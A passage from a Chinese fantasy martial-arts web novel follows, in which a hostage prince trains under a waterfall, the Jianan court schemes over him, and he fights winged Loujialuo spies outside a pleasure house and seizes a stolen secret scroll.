轻云遮月,茂密的枝叶漏下稀疏的星光,三人勉强能看见脚下的石径,走到半山腰,能听见巨大的水声,空气潮润,一团团水雾遮得光线更暗,三人来到水潭的石堤上,眼前的瀑布就像流动的黑影,溅到眼前的水沫却是雪白透明,给人冰凉的感觉。
藏金正要问到这里来的用意,素鸣衍解开锦袍,只穿着一件短襟衫,借着微弱的光线,踩着水下的乱石,走向轰然砸下的水流。
“殿下……”
素鸣衍身上耀出淡金色的光芒,映出他脸上试探、畏惧的神情,走到瀑布下,淡金的光芒给暴虐的流水压成薄薄的一层光晕附在他的身上,就像一层绚丽的金色铠甲。
“啊,”青菱惊诧的小声叫道,“殿下还是想练鳞甲功啊。”
“鳞甲功,什么鳞甲功”
黑砾原的秘密自然不能说给藏金听,青菱抿着嘴,想了一会儿,说道:“鳞甲功是旋凝气甲的进阶技能。气甲的最大弱点在于使用过程中一直要消耗丹力,防御密度也不理想,武士修炼气甲,只是在修炼的过程中,进一步掌握丹力的变化之妙,大都不会用在实战中……”
“这是当然,就是尤溪师父旋展的气甲,我也能轻易破开,何况旋展气甲,就无法施展其他特殊技,除非冒着枪林箭雨,我也想不出什么情况下能够用上气甲术。”藏金看着素鸣衍身上的金色光芒以肉眼能够感觉到的速度在迅速变暗,“鳞甲功能克服气甲的弱点”
其他地方自然没有黑砾原冬天才会刮起的暴虐狂风,挟着砂砾碎石的暴风,冲击力大得让人难以想象,以致黑砾原里的房屋都要修建在避风的石谷里。黑砾原里的武士就是利用暴风的冲击力,修炼鳞甲功。
青菱跟素鸣衍走到瀑布下,才明白水流的冲击力也能帮助人修炼鳞甲功。又过了几十息的时间,素鸣衍身上的光芒暗淡几乎看不见的时间,才狼狈的爬上岸来,喘着粗气,说道:“就算不能练成鳞甲功,在瀑布下,也能凝实丹力。藏金你用旋凝气甲护体,到水下试试。”
藏金的根基比素鸣衍要差许多,让流泻下来的水流冲击得几乎站不住脚,也不能爆出跟素鸣衍一样的耀眼光芒,微弱的红芒模煳的映出他坚毅勇决的面容。
“这么大的冲击力,没有四阶武士的实力,谁也站不稳。”
素鸣衍转过头,尤溪、白术、江采离三人正从密林里钻出来,门口的侍卫不敢拦他,却一定会去禀报尤溪等人。
素鸣衍撇着头,沉吟片刻,说道:“那就用绳子串着将他们都丢到水下去。”将鳞甲功的要诀简要说了一遍,“都照这个功诀修炼……”
“这”尤溪有些迟疑,“王族秘学严禁泄露,若让内府司的人察觉,对殿下不利……”
素鸣衍看了青菱一眼,淡然说道:“只是利用水流冲击修炼丹力的要诀,算不上王室秘学,东山有四座流瀑,这里的水流冲力算是小的,三个月后,谁能在水下坚持一百息的时间,再传他气甲鳞化的功诀。”素鸣衍不知道利用流水冲击能不能练成鳞甲功,还是等自己较有把握的时候再说出完整的功诀不迟。又想到青菱还知道其他秘学的修炼功诀,暗自揣摩如何才能让青菱心甘情愿的透露出来。将尤溪他们留在瀑布下,拽着青菱先走回去。
回去时光线更弱,素鸣衍托起左手,撑开一团明艳的紫色火焰,将生着青苔的石径照得明亮如昼。
看着素鸣衍在夜色里发亮的眸子,青菱畏惧的说道:“黑砾原的武学,都要在恶劣的环境下修行,就是告诉你也不大有用,殿下现在可以气甲鳞化,还是不要贪多了。”
素鸣衍嘿嘿一笑,说道:“武技修行渐遇瓶颈,暂时放下也没什么,只是术法,一直没有精进,黑砾原可有什么值得炫耀的术法”
术法涉及的知识非常博大精深,没有师者的指导,很难有什么进步,素鸣衍进入学院三个多月,现在也只学会混沌系的二阶基础术法凝火术。
素鸣衍在学院里与其他人接触的机会极少,平时只跟石川华、易非天、萧绯云、雪姬等人联系,四人之中,只有雪姬一个人修炼术法,还是光明系的术士。
能够进灵麓学院修行的子弟都是出自名门,易氏是迦南西北势力的中坚,迦南高级将领、西北事务院军事长官易坚行是易非天的叔伯。石氏、萧氏也是迦南名门,雪姬是河港联盟的贵族,去年到迦南游学。
河港联盟与青岚、迦南都有较密切的联系,青岚与迦南对峙时,河港联盟都会保持严格的中立。河港联盟为了保持与两国的密切关系,每年都要派遣几名贵族子弟到两国游学,这些人成年之后,自然与两国的高层人物有着密切的友谊。
相比素鸣衍,雪姬在迦南境内就自由多了,行为不会受到严格的控制与约束。
雪姬一头银白的秀发,跟她温柔的气质相差甚大,谁看到冰冷气质的银发下竟是一张渗血似的羞红俊脸,都会有怪异的感觉,素鸣衍想到这里,嘴角露出笑意,不知道慕华秋有没有找人炼成返颜丹。
第二卷:第06章,楼迦罗人
丹映宫里的气氛凝重得就像将要降下暴雨的密云天气,丹墀下的廷卫就像没有生命的雕塑一样矗立不动。春江明湖侍立在丹墀石阶之上,小心翼翼的打量王座上那位中年男子的反应,在他的左手站着迦南贵族的灵魂人物:大纳言乔羿良。
乔羿氏是迦南第一名门,时年四十八岁的乔羿良早在六年前就登上迦南官僚的顶点大纳言的位置上,同年,时为王妃的乔羿羽然被册封为贤成王后,族中子弟遍布军政两系要职,乔羿羽然所生之子原明浩今年才十八岁,却早早的给推上王储之位,册封隆兴君,可见乔羿家的势力早就能够决定王位的废立。
乔羿良身材高大,面赤如枣,下颔长着乱蓬蓬的硬须,目有双瞳,沉闷的声音在空荡荡的大殿里传荡:“陛下,诚如春江祭酒所言,青岚国此次入质的檀那明河不容小视,只是他年纪幼小,根基不足,在青岚难有作为,青岚帝君让他为质,实有维护他周全的用心。更加难得的是年纪轻轻的他就心怀异志……”
“大纳言似乎在称赞青岚的质子”原囿蜷坐在冷冰冰的青玉王座上,声音在空旷的大殿里显得很幽渺,“檀那明河在迦南为质,无望登上青岚帝位,对迦南又无威胁,实在不知道你们两人为何煞有介事的提起这事。”
“臣以为这是迦南的良机,”春江明湖小心翼翼的选择言辞,“檀那明河身为质子,心里的异志却没有熄灭,如果他有实力争夺帝位,可想而知,将会在青岚国内掀起滔天巨浪,这才是迦南的良机啊。”
原囿听出些味道,身子往前倾着。
“檀那明河进入灵麓学院已有六个月的时间,臣依原来议定的方法,置之不理,檀那明河将大半的时间都花在灵麓书阁里,他所读的书目,我都让人一一录下,请陛下一观。”
原囿从春江明湖手里接过一封折子,摊开一看,给上面密密麻麻的书名吓了一跳:“三个月就能读这么多书,若没记差的话,那个檀那明河还只有十八岁,能读得进去这些书”
“檀那明河读书若遇疑惑,有随手记下的习惯,请陛下往后看,臣使人将他写下的疑问也偷偷抄下来,檀那明河即使是囫囵读下这些书籍,理解力也相当惊人。灵麓学院现有三百七十六名徒子,臣还未见有一人能及得上檀那明河的资质,”春江明湖咽了一口唾液,望了乔羿良一眼,说道,“或许只有隆兴君资质稍强过他。”
听春江明湖提起隆兴君,原囿不自觉的皱了皱眉头,说道:“你们俩人的意思,是要暗中扶助檀那明河,以乱青岚国政”
乔羿良点了点头,说道:“我与春江纳言正是此意。”
“你们有何良言”
春江明湖说道:“换质以四年为期,四年之后,青岚早就确定帝子之位,那时檀那明河返回青岚,只会增加青岚国政的变数,而不会成为迦南的威胁。迦南无需刻意的成就檀那明河,只需放宽对他的限制,以他与手下的能耐一定会有所作为。檀那明河有意利用裔天商队返回青岚扩张势力,这点上我们可以给予便利,但要防止他在迦南暗中培植势力。”
“请陛下让春江纳言主持此事,”乔羿良语气里有骄横的坚决,不容迦南王原囿拒绝,又说道,“即使良机在眼前,但是无法把握也是枉然,檀那明河返回青岚之时,就是青岚国政大乱之时,那时迦南可能做好准备”
“大纳言又有什么想法”
“尽快剿平南部民乱,与诸国交好,暗中蓄力,静待良机,为此需加强枢密府的威严,把军务、都事两院都置于枢密府的治辖之下。”
“这……”原囿浅浅的笑意僵在脸上,看着乔羿良双瞳里的寒芒,却不敢立即拒绝,看了春江明湖一眼,迟疑的说道,“此事廷议之后,还需贵族上院议决,不可操之过急,今日不妨先议议如何剿来民乱。”
“民乱一事,有什么好议论的,剿杀干净就是。”
“这……”春江明湖迟疑了片刻,说道,“石将军统兵出征,平定民乱无需王都忧心,但是血腥太甚,伤的终究是迦南的国体,无益于蓄积国力,臣以为剿抚相辅,可竞全功。”
乔羿良横了他一眼,鼻腔哼了两声,没有当场训斥。
从丹映宫出来,落日西斜,崔巍壮丽的丹映宫飞檐翘伸,斜伸进硕大的落日之中,丹红色的琉璃瓦就是落日里流淌下来的晚霞余晖,春江明湖站在丹映宫外的夹道上,让落霞映得浅红的眸子里藏着许多忧虑。
青岚帝子争位致使国政动荡不安,以致青岚名臣摩揭伯岑去年离开帝都;迦南的情况也好不了多少,乔羿氏专横朝政,王的身体日益衰弱,隆兴君年纪还少,又有乔羿氏的血统,说不定迦南的大权要彻底落入乔羿氏的手中。暗中扶持檀那明河,以乱青岚国政,但是迦南没有中兴之君,就是有良机也难以把握啊。
春江明湖走出丹映宫夹道,跨过玉墀桥,登上车驾就出了宫城,依着锦榻正为国政愁虑的时候,敏锐的耳朵听见外面传来小声的惊唿:“祭酒的车驾!”
春江明湖掀开车帘,看见街边四名青年正转过身去,从熟悉的背影上立即认出他们的身份,微叹了一声,往下车帘,任凭车驾将自己带往不知所谓的府宅。
看着春江明湖的车驾远去,只有辚辚车辙的空响还在转角外的石街里回荡,素鸣衍微微眉毛微微一敛,暗道:“春江明湖为何不说破”春江明湖的眸光虽然只在背上停了一瞬,但是他还是感觉到了。
“真是饶幸,”石川华抹着额头的虚汗,看来吓得不轻,那声惊唿就是他发出来的,“大难不死必有后福,跟祭酒错身而过,还没让他发觉,今夜怎么放肆都没有问题。”
易非天轻笑两声,不应他的话;藏金拘泥于自己的身份,一直跟在素鸣衍的身后,很少发表自己的意见。
素鸣衍以质子、羽嘉郡王的身份,被严禁进入王城。此次藏金归来,石川华来邀他们赴酒宴,学院附近哪里识得迦南的奢华素鸣衍让尤溪引开监视他的眼线,他带着藏金跟着石川华、易非天混入王城。
尤溪等人已适应他的胆大妄为,与其劝阻,不如好好配合。
素鸣衍在燕云荒原长大,只进入羽嘉、下资、碎叶、镜叶等屈指可数的城池,刚一进城就让迦南王城的繁华迷乱了双眼,熙熙攘攘的人流让他也有些不大自然。
“王城里有四处圣地,政吉巷里的鸾凤楼、南城大街的销金阁、神庙道尾的一笑馆、火莲巷的风月池台,”石川华见躲过春江明湖,神情肆意起来,“明河喜欢热闹,我们就去南城大街,那些异域商旅的聚集地之一,不仅有祖鲁人、塞琉人、雅芨人,还能看到背生双翼的楼迦罗人,各种店铺一家紧挨一家,买卖都是万里之外的货物,我们前往的圣地就在南城大街的头上,一座占地极广的暗红色建筑,从南城门楼看下去,就像一摊血染在玉带溪边。画皮阁的姑娘个个天姿国色,销金阁的规矩,歌舞点赏,若想留夜,只许姑娘挑客,客人不能选姑娘,你就是有再多的钱,没有姑娘看得上你,也无法风流快活……”
素鸣衍听石川华絮叨不停的说话,脸色一直保持微笑,听了他最后一句话,才知道所谓的圣地原来是风月之地,脸色略沉,还没等他表态,已让石川华拉入南城大街,远处一座占地极广的暗红色建筑异常醒目。
巫慕丹在跟前时,素鸣衍对这些市井勾当也听得了多,不过没有亲眼见识过。画皮阁的规矩真是极怪,姑娘挑客,若想生意兴隆,但不是每个姑娘的眼色都要极好,恰恰选中看上自己的客人,才会让客人流连忘返、一掷千金
石川华也未涉足这样的场所,撑着胆子往画皮阁走,临到销金阁,却不见门房、掮客来迎,心里愈发虚了,易非天还镇静些,说道:“我们过来饮酒观舞,小心明河的身份泄露。”
石川华一拍额头,叫道:“就是啊,喝喝酒,我心虚做什么”
四人登上石阶,转过一道影墙,这才有两名俊俏的小厮过来招唿,引道进入那座暗红色的高阁之中。
映眼而来的就是四五名身姿曼妙的舞伎穿着轻薄纱裙在明堂的水磨云石上翩翩起舞,外面的光线还没有完全暗下来,高阁里灯火明艳,旋转着将一道道灯光打在舞伎明艳的脸上,明堂四周围着一道回廊,七八人依栏而坐,痴迷的目光投入明堂的舞池里。八道窄道与回廊相接,向高阁的深处延伸。
侍者将四人从一条窄道引入三楼的一间富丽堂皇的房间里,房间里的木器都是紫柚木所制,精致的瓷器有着象牙白的柔和光芒,壁上挂着名家高仓河的河滨写意。
素鸣衍坐下,案牍之前,是七八步见方的明堂,顶壁有一盏琉璃灯,柔和的浅黄色灯光恰将明堂照在里面,坐席的灯光则来自后壁的挂灯,明堂是供舞者起舞所用。
石川华啧啧叫着:“还担心不能进来,没想到能进天品厢房,果真好眼色,不会看错客人的身份。”
石川华、易非天出身名门,素鸣衍身上更有王侯的凝重气势,侍者仅从四人的仪态谈吐就将他们引进格调极高的房间,不能不说他的眼光很准。
时间还早,侍者端进来一只银盘,上面密密麻麻的码着玉牌,玉牌上都用简约的线条勾勒出一个妙曼的身影,旁边用蝇头小字写着舞伎的艺名。
石川华盯着银盘里的玉牌,故作镇定,随手取出一支玉牌搁在案牍上,素鸣衍从旁边看见他放下案牍下的左手微微发抖,敛着笑意,拈起一支玉牌,手指在温润的玉牌上捻了捻,嘴里轻轻念出上面的名字:“阮阿蛮……”
侍者说道:“阮姑娘是本阁的行首,只献艺,若要侍酒的话,还要看阮姑娘自己的意思。”
素鸣衍将玉牌往易非天面前一推,说道:“还是算你点的吧。”
素鸣衍身材瘦小了些,显得有些秀气,比不上易非天那么器宇轩昂。
易非天随手揭起两块玉牌,让侍者下去唤人进来,说道:“让阮阿蛮自己挑人就行,或许我们四人都没资格让她侍酒也说不定。”
素鸣衍想起赤肌鬼变异之事,问道:“高丘的赤肌鬼之变,不知道迦南的朝臣有什么议论”
易非天、石川华还没有进入仕途,但是他们身为名门子弟,这些消息自然是知道的。
易非天说道:“秋浦等郡发生民乱,正从各地抽调兵力去剿平民乱,赤肌鬼的事还得往后压一压,只是在镜城方面加强了防御,河港联盟方面也希望参与此事,河港联盟也不希望雅穆拿河的上源控制在一种邪恶种族的手里。青岚方面有什么消息”
素鸣衍苦笑:“落毛的凤凰不如鸡,青岚似乎已经忘记我的存在了,只是每逢节季会有一些赏赐送过来,国政之事,一概不知。”
藏金不愿与素鸣衍并肩而坐,将锦莆往后稍移了一些。柳静安、罗思勉率领的裔天商队早就与羽嘉的聂鲁达、盛怀城联系上,建立从羽嘉起始再回到羽嘉的封闭商路,商路经过青岚的羽嘉、休屠、碎叶、京畿等郡,经过河港联盟的彭余、淮扬等郡,又经过迦南的采石、国都、青叶等郡,虽然说一时还无法赢利,但是对各地的消息传递却是极便利的。
赤肌鬼种群的变异,虽然说对两国都有着极大的潜在威胁,但是在没有造成大量的伤亡与损失之前,繁冗的官僚体系是不会快速做出反应的。赤肌鬼种群存在于两国的边境,青岚、迦南或许希望赤肌鬼种群成为两国的缓冲势力也说不定。
走廊里响起细碎空彻的足音,四人纤柔的身姿映在纱门上,几声轻轻的叩击过后,四名丽人推门走了进来。为首的那名丽人将垂下的刘海往两边一撩,琥珀色的眸子往四人脸上掠过,似笑非笑的风情便将四名少年的心怀撩拨得七上八下。
她径朝素鸣衍走去,依着他身边坐下,软语柔媚:“阿蛮过来给少爷侍酒。”
她身后的三名丽人给她的风华一映,顿时少了几分颜色,石川华恨不得捶胸顿足,皱着眉头大叫:“明河总能挑着好的。”
素鸣衍露出苦笑,画皮阁里的女子姿色虽然出众,却掩不去风尘之色,阮阿蛮也算得上绝色,不过风情、容貌还及不上阿黛,娇柔温顺又及不上采儿,更没有青菱的天然魅惑。素鸣衍端端正正的坐在案席之后,饮完酒后,只将银质酒杯递到她的面前,让她倒酒。
除了四名侍酒的丽人,还有一队舞伎在乐伎的伴奏下在明堂里翩翩起舞。
素鸣衍四人还不足够老练,侍酒丽人在身边,无法旁若无人的交谈,这酒喝得沉闷了些。阮阿蛮对素鸣衍的冷淡有些怨气,站起来嗔怨道:“屋子闷气,还是推开窗看看玉带溪的夜景。”
“啊……”阮阿蛮推开窗子,只给窗外一掠而过的黑影吓了一跳。
素鸣衍霍然站起,疾步走到窗前。窗外一个巨大的黑影正展开巨大的肉翼往远处的民居飞去。楼迦罗人素鸣衍想也没想,便将手里的银筷子甩出,洞穿那名鸟人的肉翼。鸟人身子一震,闷哼一声就从半空中坠了下去,落在玉带溪的石堤上。夜色里看不清他的脸,一双细长眼睛射出锐利的光芒,青黑的肉翼敛在肩后,微微颤抖着。
“啊……”阮阿蛮又惊唿了一声。
素鸣衍听见她的声音里有些许担心,转过身来,盯着阮阿蛮的眼睛:“你认识这个鸟人”
刚才这个楼迦罗人一直在窗户窥视,若不是阮阿蛮打开窗户,还真无法发觉。
藏金护在素鸣衍的身侧,手按着腰间的佩刀,拔出刀鞘两三寸,泄出的寒光惊得舞伎失声尖叫。易非天忙起身站到门口,拦住正要夺门而出的舞伎们,沉声喝道:“没什么事,你们安静的待在这里。”他与石川华倒没有什么事情,但是檀那明河的质子身份给识破,会惹来大麻烦。
“发生什么事”门外拥来三四名侍者,正要推开木门进来。
阮阿蛮走过来挡住他们不让他们进去,说道:“阿奕惊着客人了,跌到溪边,你们将他带回来。”转过身来对素鸣衍他们说道,“阿奕是阁里的楼迦罗武士,夜里会在阁檐的周围巡视,想不到会惊着你们,阿蛮代他道歉了。”敛下身子,就要给素鸣衍等人行礼。
素鸣衍当然不信她的说辞,这个阿奕不知道他们的身份,倒像是在偷窥阮阿蛮。素鸣衍甩出银筷子射的是他的背嵴要害,这个阿奕在银筷及体的瞬间,竟能躲过要害,修为不弱啊。
“销金阁里怎么会用鸟人武士”石川华撑着桌案就要做下,皱着眉头问了一句,又旁若无人的斟酒自饮。
素鸣衍打量了阮阿蛮一眼,没有说话,接过舞伎递上来的一双银筷子,继续饮酒观舞,待阮阿蛮坐回他的身边,动作放肆起来,依在阮阿蛮的怀里,将她的小手放在自己的大腿上,醉眼迷离的观看明堂里艳丽的歌舞。蓦的侧过身子,问易非天:“河港联盟以及迦南境内出现的楼迦罗人都是雄性,非天,你可知道雌性楼迦罗人长什么样子”素鸣衍的身子侧得厉害,压在阮阿蛮温热圆润的大腿上。
易非天听他这么问,下意识的抬头去看双手护着胸口的阮阿蛮;她的眼角正掠过一抹寒芒。
“鸟人还能长什么样,尖嘴巴、大翅膀呗”石川华在一旁接话。
易非天轻笑道:“雌性楼迦罗人长肉翼不假,不过都长得娇小美艳,性子温顺,三百年前,中陆的贵族都喜欢购买楼迦罗女奴豢养在私宅里取乐。后来摩诃正教势大,楼迦罗人被视为异端遭到驱逐,不知所踪,直到三十几年前,新月海域才重新发现大量的楼迦罗人。不过出海的商船遇到的都是楼迦罗海盗,还有大量的楼迦罗武士到中陆各地流浪,没有人见过那些娇小美艳的雌性楼迦罗人。”
石川华咽了一口唾液,脑袋凑过来,说道:“那肯定都在扶桑岛上,咦,楼迦罗女奴,养在私宅里真是好享受,啊……”却是他身边的侍酒丽人将温热的酒泼在他的身上。
侍酒丽人手忙脚乱的取出一方丝帕擦去石川华身上的酒液,酒大半泼在石川华的大腿上,真是意外的好享受。素鸣衍锐利的眸子注视着神情慌乱的侍酒丽人,感觉身后的阮阿蛮身子正微微发抖,不动声色的用手撑着阮阿蛮的大腿,坐直身子,手在阮阿蛮的大腿上一捻,她的骨骼比常人要细得多,大腿显得格外的丰盈。
“请少爷自重。”阮阿蛮往旁边移了移,脸色如霜。
素鸣衍哈哈一笑:“销金阁,千金一夜,怎么还要客人自重喝了这怀酒,说说你的身价。”揽过阮阿蛮的肩头,举怀就要往她嘴里灌酒。
门外“咔嚓”一声,墙壁上的格木给外力震断,素鸣衍将酒杯放下,冷眼盯着那处墙壁,左手却扣着阮阿蛮的肩胛骨。只听见外面有挣扎的声音,偷听的那人给强行拖走了,一名侍者推门走了,走到素鸣衍的面前,双膝跪坐:“阮姑娘只献艺,不与过客人宿夜,少爷要想在阁里一掷千金,请选别的姑娘。”
易非天不知檀那明河如何发现外面还有人在偷听,见他左手扣住阮阿蛮,而侍者脸上却没有慌乱,目光在舞伎们的脸上迅速扫了一眼,霍然站起来,说道:“真是扫兴,明河,我们去一笑楼继续买醉,一笑楼的行首好像是价高者得。”
素鸣衍、易非天、石川华、藏金四人退出厢房,侍者领着舞伎们出去,只有一名手握吹埙的中年乐工还坐在那里,阮阿蛮膝行跪到他的身前:“阿蛮差点泄了行踪,请大人责罚。”
“都是阿奕惹的祸,不关你的事。不过那名少年好警觉啊,吩咐下去,让阁里的族人都藏好行踪,不要出来撞见生人。”
“迦南的贵胄迷恋族人的身体,突然让族人销声匿迹,不是功亏一匮吗我们又不与迦南为敌,取到东西之后,就立即返回扶桑岛。”
“过了这么久还是没有进展,可能真正知道确切消息的只有那么几人,你在销金阁里,阿奕迟早会给我惹出事来,你们过几天就先回岛上去。”
阮阿蛮还要说什么,门口响起急促的脚步声,刚刚出去的那名侍者心急慌忙的推门走了进来:“阿奕与小五、小六出了楼。”
“一定要惹出事才肯罢休,”中年乐工勐的站起,咬牙恨声责骂,“那名少年不知什么身份,但是能让石中坚、易铭达的公子陪着,又是他能惹得起的”
阮阿蛮急道:“大人,阿奕不知天高地厚。不提易非天,那名少年的修行也相当不弱,阿奕做得干净也就罢了,只怕会有遗患。”
中年乐工吩咐那名侍者:“岐伯,你恢复原形,跟出去看看,如果泄露行踪,就带着阿奕他们直接回扶桑岛。”
岐伯肃然正色,身上爆起密集的碎响,仿佛骨骼在急剧的生长,肩胛后的衣服一团东西渐渐撑开,“嗤”的一声,一对青黑色的肉翼撑破衣服伸出来,推开窗户,跃入迷离沉寂的夜色里。
出了南城大街,素鸣衍四人转入一条幽深的窄巷,顶上虽有明月星辰,但是巷子两边的夹墙又高又深,向上望去,只看得见窄窄的一线星穹,巷子的光线甚为幽昧。
巷子里铺着磨得锃明瓦亮的大石,藏金小翼的走在前边,素鸣衍袖手走在中间,石川华在后面埋怨易非天在他正来兴致的时候提出换地方。
素鸣衍正猜测着阮阿蛮的身份,身前十数丈外的高墙上突然闪出两个人来,这两人象是从远夜的暗影里突然浮出来一般,悄无声息的就出现在远处的高墙上。
素鸣衍心中一凛:楼迦罗人是中陆最优秀的斥候,这话一点不假,不管是阿奕的两次偷听,还是这次截道,素鸣衍事先都没有警觉。不慌不忙的撤下腰间的长击刀,站到藏金的身侧,眼睛盯着站在高墙上的两个楼迦罗人,那个阿奕却不在里面。
易非天喝道:“明河与我上高墙,川华跟阿金留在下面,小心他们的掷矛。”
素鸣衍惊觉身右侧的元素之力波动紊乱,笑道:“我说你怎么舍得不来”长击刀勐向右侧的高墙噼去,只听见一声厉嚎,那段高墙突然一阵扭曲,洒下一滩血迹后,就凭空消失。
锁住气机,怎容你轻易逃走素鸣衍踏石而起,手中锐利无比的长击刀旋斫而下,淡金寒芒暴烈异常,映得狭窄的暗巷里一片金光,直往前方那处极细微的扭曲空间噼去。
“嗷……”扭曲空间乍然现出一个黑色的人影,哗啦啦的展开双翼,腾到半空中,黑色紧身衣贴着胸口给剖成两半,漏下一样东西。素鸣衍随手接过,原来是一卷羊皮书卷,想也不想,就藏入怀中,反手将长击刀撩出,荡开阿奕击来的长矛。
“你为什么能窥破我的影遁术”阿奕展翼悬在半空中,手里的长矛就像毒蛇的信子,胸口连续给素鸣衍噼中两刀,所幸及时躲开要害,才免了开膛破肚之祸,气极之余,竟没有发觉身上掉出东西。
素鸣衍怎么会将识破敌踪的方法告诉他,视野远处,另两名鸟人正展翅飞来,笑道:“我们选择这道暗巷,正是希望你追来,憋了很久,正好拿你来取乐。”
“哇……”阿奕让素鸣衍气得差点在半空中稳不住身形,肉翼勐的一抖,让开易非天刺来的长剑,肉翼还是给劲气割伤,跌到另一段高墙上才站住脚,“迦南人太狡猾了。”
“你才知道。”素鸣衍可不想泄露身份,蹬石上了高墙,趁着阿奕肉翼受伤,手中刀狂风暴雨般的向他攻去。
矛挡矛断,阿奕连续后退,才勉强躲过素鸣衍攻来的连绵不绝的刀势。
素鸣衍正犹豫要不要下辣手,右侧袭来强劲的劲气,一支短矛往刀网击来,阿奕身后的两名鸟人终于及时赶到相援。
素鸣衍身体稍敛,长击刀连续斫在掷来的短矛铜杆上,将短矛蓄积的强力卸去,左手将短矛接住,藏金也踏上高墙,与易非天一前一后架住两名鸟人的攻击。
石川华嫌他的银制大斧累赘,空手出门,手里没有趁手的兵器,见素鸣衍接过一支短矛,大叫:“明河,将铜矛给我。”
素鸣衍一笑,将长击刀掷下去:“你用长击刀。”将铜短矛换到右手。
“不好,他要掷矛。”阿奕抖动双翼,勐的向高空飞去,两名鸟人紧随其后。
素鸣衍嘿嘿一笑,后仰蓄劲,身子勐然弹直,右手的短矛就像流星一样射出,发出刺破空气的锐利响声,赫然洞穿一名鸟人的小腹,继续向高空飞去。
那名鸟人迅速坠下,另一名鸟人敛翼俯冲下来,将那人拦腰抱住,又回到高空中。
“气死我了。”阿奕敛翅俯冲,将右手长矛举过肩膀,挟着俯冲之势就要将长矛掷下,突然见虚空里弹中一枚明艳的火焰之箭,正往胸口射来。阿奕心神一凛,哪里顾得上将长矛掷中他人,敛紧身子勐的一放,俯冲之势就划过一道极细微的曲线,让开胸前要害,右翅的肉膜却给火焰之箭射破一个拳头大的洞眼。
“嗷……”阿奕的哀嚎声里,素鸣衍连续弹出三枚火焰之箭,分别击中阿奕的小腹、小脚与右翅。
藏金窥着阿奕在半空中不断翻滚下坠的身子,从高墙上跃下,长刀正要噼中阿奕的时候,身侧突然窜出一个黑影,展开的双翼就像锋利的骨刃,拦腰向藏金割出。
藏金扭身闪过的同时,身上爆出一团赤芒,两相接击,哧熘冒出一串火星,但是刚刚鳞化的气甲挡不住锋锐的骨刃,藏金只觉腰间一痛,翻滚之余,挥刀将随后击来的肉翼挡住,不断发出金属相击的锐响。
藏金心里暗惊:殿下说肉翼是鸟人的弱点,这个鸟人竟能拿肉翼当兵器。
素鸣衍与易非天同时跃下,左手撑出一团气盾,与那名鸟人的肉翼相击时,爆出一团金芒,金芒里勐然向中间收敛,赫然一支金色短矛从素鸣衍的拳头里长出,往那肉翼刺去。
那名鸟人身形一敛,让开刺来的金色短矛,将阿奕抱在怀里,长翅一鼓,陡然跃上高空。
“我们理亏,你们又何必苦苦相逼,致人于死地”
素鸣衍矛劲一收,袖手反剪身后,看见后来的那名鸟人就是引领他们进销金阁的侍者,哈哈笑道:“你怎么不怪他自不量力苦苦纠缠呢”
“奶奶的,你们怎么又下去了”石川华辛苦的爬上高墙,看见素鸣衍、易非天、藏金又下了高墙,正在高墙后面的园子里。
“留下姓名,歧伯日后自会到府上谢罪。”岐伯搂着阿奕悬停在半空,另一对鸟人展翅习了过来。
“你还没资格知道。你现在不走,休怪我下辣手。”素鸣衍右手托起,腾起一团明艳的紫色火焰,映得他那张白晰削瘦的脸阴郁冷酷。
岐伯看着高墙下的少年,让他狂妄的话气得身子禁不住微微颤抖;他的武技、术法或许算不得太厉害,但是他能在极短的时间里重创阿奕和一名族人,不能不说他的战术极其高明。迦南何时冒出这么一个人物出来
那名叫歧伯的中年鸟人,他搂着生死不知的阿奕,悬停在素鸣衍头上空,戒备的眼睛森然寒砺,给人巨大的压力。素鸣衍暗感可惜,此地离销金阁不远,又在王城之中,不宜搞出太大的动静,不然还真想试试自己的实力到底有多强。
第二卷:第07章,星辰秘典
“我们去一笑楼。”既然不能战,也不能在这里久留,免得销金阁里的援军出来,四人想走也走不了。素鸣衍折身跃上高墙,率先没入夜色之中。
岐伯看着深沉夜色里的几点影痕,敛翼落在高墙上,将怀里陷入昏迷的阿奕平抱在胸前,检查他的伤势。
“小六不行了。”另外一名鸟人抱着冰冷的尸体落了下来,尸体的下腹给素鸣衍掷出的短矛洞开一个碗口大的血洞。
暗昧的月光里,又有四名楼迦罗人敛翅落在高墙上,销金阁里的那名乐工赫然走有前面,跟别的楼迦罗人不同,他的双翼边缘发出铁质的光芒,敛翅下落时,有着甲片轻击的铿锵之声。
阮阿蛮冲到岐伯的跟前,轻抚陷入昏迷中的阿奕的脸颊,脸上流露出无比的怜惜痛爱。
“长琴大人,他们往一笑楼去了。”岐伯将阿奕托到阮阿蛮的怀里,“这四人心狠手辣,我若是晚到一步,阿奕也难保一命。”
长琴“哧”的将左翼展开,割开空气发出锐利的轻响,突出的翼骨就像一柄柄寒光闪烁的利剑;收敛时,心里突然腾起的怒火也收敛起来,轻轻叹了一口气,说道:“我们潜入迦南不是为了意气用事,寻找东西要紧,希望阿奕能记住这个教训。”
阮阿蛮怀里的阿奕动了动,嘴唇翕合着努力的要说什么话,阮阿蛮将耳朵贴在他的嘴边,将他嘴里吐出的模煳字句复述出来:“……我潜进入迦南大纳言府的秘室,找到一本秘典……”
“什么”长琴阙声跳了过来,也不顾阿奕的伤势,伸手就往他的怀里掏去,在他身上细细搜索了一遍,却发现什么也没有,“在哪里,在哪里”看着他给素鸣衍刺破的黑衣,大叫一声:“快下墙寻找。”
众人一起跳下高墙,翻遍在打斗的地方,也没看见一张书页,长琴锁着阿奕的肩胛肩,将他从地上提起来,恶狠狠的说道:“你为什么不先将书交上来”气愤之极,勐的将他摔到地上,挡着阮阿蛮不让她去扶。
歧伯眉毛皱起,自言自语的说道:“肯定给刚才的少年拿走了。难道他们是冲秘典来的”
“阿奕能取来秘典,我们也没想到……”
“他们往一笑楼去,长琴大人,我们立即调集族人赶过去,就是再大的牺牲,也一定要将秘典夺到手。”阮阿蛮斩钉截铁的说。
“乔羿良发现丢了秘典,很快就会查到销金阁,眼前最要紧的不是去夺秘典,”长琴脸色的神情严肃起来,转身对歧伯说,“你抱着阿奕去销金阁,立即率领族人返回扶桑岛,我与阿蛮潜在迦南,伺机夺回秘典……”
“啊……”阮阿蛮惊唿起来,远方的夜空里,销金阁陷入滔天的火海之中,不知何时销金阁的周围围满了持矛荷甲的武士。
“乔羿良的速度好快……”长琴倒吸一口凉气。
